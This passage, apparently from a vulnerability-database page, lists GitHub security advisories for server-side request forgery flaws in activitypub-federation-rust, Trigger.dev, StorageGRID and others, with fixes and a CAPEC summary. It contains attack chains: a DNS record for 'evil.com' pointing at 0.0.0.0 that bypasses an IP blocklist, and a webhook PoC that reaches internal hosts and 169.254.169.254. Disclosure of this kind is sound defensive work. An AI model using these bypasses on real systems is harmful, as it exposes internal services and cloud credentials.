to localhost). CVSS for rebinding alone: 4.8 (AC:H).\n\n### PoC\n\n**1. Logic Proof (reproduced from source):**\n\n```rust\nfn v4_is_invalid(v4: Ipv4Addr) -\u003e bool {\n    v4.is_private()\n        || v4.is_loopback()\n        || v4.is_link_local()\n        || v4.is_multicast()\n        || v4.is_documentation()\n    // BUG: Missing || v4.is_unspecified()\n}\n\nassert_eq!(v4_is_invalid(Ipv4Addr::UNSPECIFIED), false);  // 0.0.0.0 PASSES validation\nassert_eq!(v4_is_invalid(Ipv4Addr::LOCALHOST), true);     // 127.0.0.1 correctly blocked\n```\n\n**2. OS Routing Verification:**\n\n```\n$ connect(0.0.0.0:80) \u2192 ConnectionRefused\n```\n\nConnectionRefused proves the OS routed to localhost (port 80 not listening). Any service on 0.0.0.0:PORT is reachable.\n\n**3. Attack Chain:**\n\n1. Attacker configures DNS: `evil.com A \u2192 0.0.0.0`\n2. 2. Attacker sends ActivityPub activity referencing `https://evil.com/actor`\n3. 3. Library calls `verify_url_valid()` \u2192 `is_invalid_ip()` \u2192 resolves to 0.0.0.0\n4. 4. `v4_is_invalid(0.0.0.0)` returns `false` (BYPASS)\n5. 5. `reqwest` connects to 0.0.0.0 \u2192 reaches localhost services\n### Impact\n\n- **Direct:** Bypasses the SSRF protection layer for all ActivityPub federation traffic\n- - **Downstream:** 6+ dependent projects affected including Lemmy (13.7k stars), hatsu, gill, ties, fediscus, fediverse-axum\n- - **Attacker can:** Access cloud instance metadata (169.254.169.254 via rebinding), reach internal services on localhost, port scan internal infrastructure\n### Suggested Fix\n\n```rust\nfn v4_is_invalid(v4: Ipv4Addr) -\u003e bool {\n    v4.is_private()\n        || v4.is_loopback()\n        || v4.is_link_local()\n        || v4.is_multicast()\n        || v4.is_documentation()\n        || v4.is_unspecified()    // ADD: blocks 0.0.0.0\n        || v4.is_broadcast()      // ADD: blocks 255.255.255.255\n}\n```\n\nFor DNS rebinding TOCTOU, pin the resolved IP:\n\n```rust\nlet resolved_ip = lookup_host((domain, 80)).await?;\n// validate resolved_ip...\nlet client = reqwest::Client::builder()\n    .resolve(domain, resolved_ip)  // pin resolution\n    .build()?;\n```",
  "id": "GHSA-q537-8fr5-cw35",
  "modified": "2026-03-27T21:36:54Z",
  "published": "2026-03-25T20:23:38Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/lemmy/security/advisories/GHSA-q537-8fr5-cw35"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33693"
    },
    {
      "type": "WEB",
      "url": "https://github.com/LemmyNet/activitypub-federation-rust/commit/4ae8532b17bc35755240b7f55d4a5b7665351599"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/LemmyNet/activitypub-federation-rust"
    },
    {
      "type": "ADVISORY",
      "url": "https://github.com/advisories/GHSA-7723-35v7-qcxw"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Activitypub-Federation has SSRF via 0.0.0.0 bypass in activitypub-federation-rust v4_is_invalid()"
}

GHSA-Q543-X74M-R8Q9

Vulnerability from github – Published: 2026-02-18 00:30 – Updated: 2026-02-18 00:30
VLAI
Details

StorageGRID (formerly StorageGRID Webscale) versions prior to 11.9.0.12 and 12.0.0.4 with Single Sign-on enabled and configured to use Microsoft Entra ID (formerly Azure AD) as an IdP are susceptible to a Server-Side Request Forgery (SSRF) vulnerability. Successful exploit could allow an authenticated attacker with low privileges to delete configuration data or deny access to some resources.

Severity
7.1 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-22048"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-02-18T00:16:18Z",
    "severity": "HIGH"
  },
  "details": "StorageGRID (formerly StorageGRID Webscale) versions prior to 11.9.0.12 and 12.0.0.4 with Single Sign-on enabled and configured to use Microsoft Entra ID (formerly Azure AD) as an IdP are susceptible to a Server-Side Request Forgery (SSRF) vulnerability. Successful exploit could allow an authenticated attacker with low privileges to delete configuration data or deny access to some resources.",
  "id": "GHSA-q543-x74m-r8q9",
  "modified": "2026-02-18T00:30:16Z",
  "published": "2026-02-18T00:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-22048"
    },
    {
      "type": "WEB",
      "url": "https://security.netapp.com/advisory/NTAP-20260217-0001"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q567-CR4X-96W4

Vulnerability from github – Published: 2026-10-02 22:35 – Updated: 2026-10-02 22:35
VLAI
Summary
Trigger.dev: Blind SSRF via alert-channel webhook
Details

Summary

A WEBHOOK alert channel stores a user-supplied url. When an alert fires (deployment/run failure, error groups), the webapp server (alertsWorker -> DeliverAlertService) POSTs the HMAC-signed alert payload to that URL via fetch(webhook.url, ...). The URL is never validated against a host allowlist or private-IP/metadata blocklist (a repo-wide search for 169.254, isPrivate, isLoopback, net.isIP, ssrf returns ZERO hits), and the API route's URL field is just z.string().optional() (no syntax check at all). So an authenticated tenant can point the webhook at internal infrastructure or 169.254.169.254 and the multi-tenant server fetches it.

Affected

apps/webapp, HEAD 5d99457 (current main).

Root cause

  • Source (API route): app/presenters/v3/ApiAlertChannelPresenter.server.ts ApiAlertChannelData.url = z.string().optional() (no host validation); route app/routes/api.v1.projects.$projectRef.alertChannels.ts (PAT-auth).
  • Store: app/v3/services/alerts/createAlertChannel.server.ts persists {url, secret, version} verbatim.
  • Sink: app/v3/services/alerts/deliverAlert.server.ts:973 fetch(webhook.url, {method:"POST", headers:{"x-trigger-signature-hmacsha256":...}, body:rawPayload}); identical at deliverErrorGroupAlert.server.ts:258. Runs inside the webapp process; fetch follows redirects (IMDSv1-via-redirect). No egress guard anywhere.

Runtime PoC (proven on self-host)

Seeded a project + STAGING env + a WEBHOOK channel with url=http://host.docker.internal:7766/... (an internal address from the server's POV) + a DEPLOYING deployment. Triggered via the public API POST /api/v1/deployments/deployment_ssrfpoc/fail -> 200 -> FAILED -> alertsWorker -> the server fetched the listener. Captured:

POST /ssrf-via-webhook HTTP/1.1
host: host.docker.internal:7766
x-trigger-signature-hmacsha256: <redacted>
user-agent: node
{"type":"alert.deployment.failed", ...}

The webapp server (user-agent: node) made an outbound POST to the attacker-chosen internal URL; 169.254.169.254 / any internal host works identically.

Severity

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N ~ Medium. Blind (response not reflected) + POST-only (fixed body = signed alert payload), so it enables internal port/host scanning (delivery success/timing oracle), state-changing POSTs to internal services, and IMDSv1-via-redirect — not arbitrary GET exfiltration. PR:L (authenticated tenant). Egress private-IP/metadata blocking on server-issued webhooks is industry standard; its absence is the defect.

Suggested fix

Validate the webhook URL on create (require http(s), resolve host, reject private/link-local/loopback/metadata ranges) AND re-check at fetch time (re-resolve after redirects or disable redirects / pin to resolved public IP). A shared assertPublicUrl(url) used by createAlertChannel + the two delivery sinks.

Dup

Distinct CWE-918 class from the IDOR advisories. FRESH. (The Grav maintainer independently hardened the same webhook-URL-SSRF class in grav-plugin-api commit dfcc947 on 2026-06-26 — corroborating the class is real and fixable.)

Severity
5.4 (Medium)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 4.5.1"
      },
      "package": {
        "ecosystem": "npm",
        "name": "trigger.dev"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "4.5.2"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-02T22:35:31Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nA WEBHOOK alert channel stores a user-supplied `url`. When an alert fires (deployment/run failure, error groups), the webapp server (`alertsWorker` -\u003e `DeliverAlertService`) POSTs the HMAC-signed alert payload to that URL via `fetch(webhook.url, ...)`. The URL is never validated against a host allowlist or private-IP/metadata blocklist (a repo-wide search for `169.254`, `isPrivate`, `isLoopback`, `net.isIP`, `ssrf` returns ZERO hits), and the API route\u0027s URL field is just `z.string().optional()` (no syntax check at all). So an authenticated tenant can point the webhook at internal infrastructure or `169.254.169.254` and the multi-tenant server fetches it.\n\n### Affected\n`apps/webapp`, HEAD `5d99457` (current main).\n\n### Root cause\n- Source (API route): `app/presenters/v3/ApiAlertChannelPresenter.server.ts` `ApiAlertChannelData.url = z.string().optional()` (no host validation); route `app/routes/api.v1.projects.$projectRef.alertChannels.ts` (PAT-auth).\n- Store: `app/v3/services/alerts/createAlertChannel.server.ts` persists `{url, secret, version}` verbatim.\n- Sink: `app/v3/services/alerts/deliverAlert.server.ts:973` `fetch(webhook.url, {method:\"POST\", headers:{\"x-trigger-signature-hmacsha256\":...}, body:rawPayload})`; identical at `deliverErrorGroupAlert.server.ts:258`. Runs inside the webapp process; `fetch` follows redirects (IMDSv1-via-redirect). No egress guard anywhere.\n\n### Runtime PoC (proven on self-host)\nSeeded a project + STAGING env + a WEBHOOK channel with `url=http://host.docker.internal:7766/...` (an internal address from the server\u0027s POV) + a DEPLOYING deployment. Triggered via the public API `POST /api/v1/deployments/deployment_ssrfpoc/fail` -\u003e 200 -\u003e FAILED -\u003e alertsWorker -\u003e the server fetched the listener. Captured:\n```\nPOST /ssrf-via-webhook HTTP/1.1\nhost: host.docker.internal:7766\nx-trigger-signature-hmacsha256: \u003credacted\u003e\nuser-agent: node\n{\"type\":\"alert.deployment.failed\", ...}\n```\nThe webapp server (user-agent: node) made an outbound POST to the attacker-chosen internal URL; 169.254.169.254 / any internal host works identically.\n\n### Severity\n`CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N` ~ Medium. Blind (response not reflected) + POST-only (fixed body = signed alert payload), so it enables internal port/host scanning (delivery success/timing oracle), state-changing POSTs to internal services, and IMDSv1-via-redirect \u2014 not arbitrary GET exfiltration. PR:L (authenticated tenant). Egress private-IP/metadata blocking on server-issued webhooks is industry standard; its absence is the defect.\n\n### Suggested fix\nValidate the webhook URL on create (require http(s), resolve host, reject private/link-local/loopback/metadata ranges) AND re-check at fetch time (re-resolve after redirects or disable redirects / pin to resolved public IP). A shared `assertPublicUrl(url)` used by `createAlertChannel` + the two delivery sinks.\n\n### Dup\nDistinct CWE-918 class from the IDOR advisories. FRESH. (The Grav maintainer independently hardened the same webhook-URL-SSRF class in grav-plugin-api commit dfcc947 on 2026-06-26 \u2014 corroborating the class is real and fixable.)",
  "id": "GHSA-q567-cr4x-96w4",
  "modified": "2026-10-02T22:35:31Z",
  "published": "2026-10-02T22:35:31Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/triggerdotdev/trigger.dev/security/advisories/GHSA-q567-cr4x-96w4"
    },
    {
      "type": "WEB",
      "url": "https://github.com/triggerdotdev/trigger.dev/pull/4199"
    },
    {
      "type": "WEB",
      "url": "https://github.com/triggerdotdev/trigger.dev/commit/34b1a181c2a1d33a53ebab88f84b05f81fea4254"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/triggerdotdev/trigger.dev"
    },
    {
      "type": "WEB",
      "url": "https://github.com/triggerdotdev/trigger.dev/releases/tag/v4.5.2"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Trigger.dev: Blind SSRF via alert-channel webhook"
}

GHSA-Q56H-X9H5-Q53C

Vulnerability from github – Published: 2022-06-10 00:00 – Updated: 2022-06-17 21:48
VLAI
Summary
Server-Side Request Forgery in kityminder
Details

Kity Minder v1.3.5 was discovered to contain a Server-Side Request Forgery (SSRF) via the init function at ImageCapture.class.php.

Severity
9.1 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "kityminder"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "last_affected": "1.3.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-31830"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-17T21:48:55Z",
    "nvd_published_at": "2022-06-09T14:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "Kity Minder v1.3.5 was discovered to contain a Server-Side Request Forgery (SSRF) via the init function at ImageCapture.class.php.",
  "id": "GHSA-q56h-x9h5-q53c",
  "modified": "2022-06-17T21:48:55Z",
  "published": "2022-06-10T00:00:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-31830"
    },
    {
      "type": "WEB",
      "url": "https://github.com/fex-team/kityminder/issues/345"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/fex-team/kityminder"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Server-Side Request Forgery in kityminder"
}

GHSA-Q57F-4WJ6-3JFC

Vulnerability from github – Published: 2023-02-20 18:30 – Updated: 2024-07-23 21:31
VLAI
Details

Limited Server-Side Request Forgery (SSRF) in agent-receiver in Tribe29's Checkmk <= 2.1.0p11 allows an attacker to communicate with local network restricted endpoints by use of the host registration API.

Severity
7.8 (High)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-48321"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-20",
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-02-20T17:15:00Z",
    "severity": "HIGH"
  },
  "details": "Limited Server-Side Request Forgery (SSRF) in agent-receiver in Tribe29\u0027s Checkmk \u003c= 2.1.0p11 allows an attacker to communicate with local network restricted endpoints by use of the host registration API.",
  "id": "GHSA-q57f-4wj6-3jfc",
  "modified": "2024-07-23T21:31:32Z",
  "published": "2023-02-20T18:30:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48321"
    },
    {
      "type": "WEB",
      "url": "https://checkmk.com/werk/14385"
    },
    {
      "type": "WEB",
      "url": "https://www.sonarsource.com/blog/checkmk-rce-chain-1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-Q57Q-P5MG-4C5W

Vulnerability from github – Published: 2025-01-10 00:30 – Updated: 2025-01-10 00:30
VLAI
Details

A Server-Side Request Forgery (SSRF) vulnerability in Microsoft Purview allows an authorized attacker to disclose information over a network.

Severity
8.8 (High)
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-21385"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-918"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2025-01-09T22:15:29Z",
    "severity": "HIGH"
  },
  "details": "A Server-Side Request Forgery (SSRF) vulnerability in Microsoft Purview allows an authorized attacker to disclose information over a network.",
  "id": "GHSA-q57q-p5mg-4c5w",
  "modified": "2025-01-10T00:30:36Z",
  "published": "2025-01-10T00:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-21385"
    },
    {
      "type": "WEB",
      "url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-21385"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

No mitigation information available for this CWE.

CAPEC-664: Server Side Request Forgery

An adversary exploits improper input validation by submitting maliciously crafted input to a target application running on a server, with the goal of forcing the server to make a request either to itself, to web services running in the server’s internal network, or to external third parties. If successful, the adversary’s request will be made with the server’s privilege level, bypassing its authentication controls. This ultimately allows the adversary to access sensitive data, execute commands on the server’s network, and make external requests with the stolen identity of the server. Server Side Request Forgery attacks differ from Cross Site Request Forgery attacks in that they target the server itself, whereas CSRF attacks exploit an insecure user authentication mechanism to perform unauthorized actions on the user's behalf.

← Back to the CWE list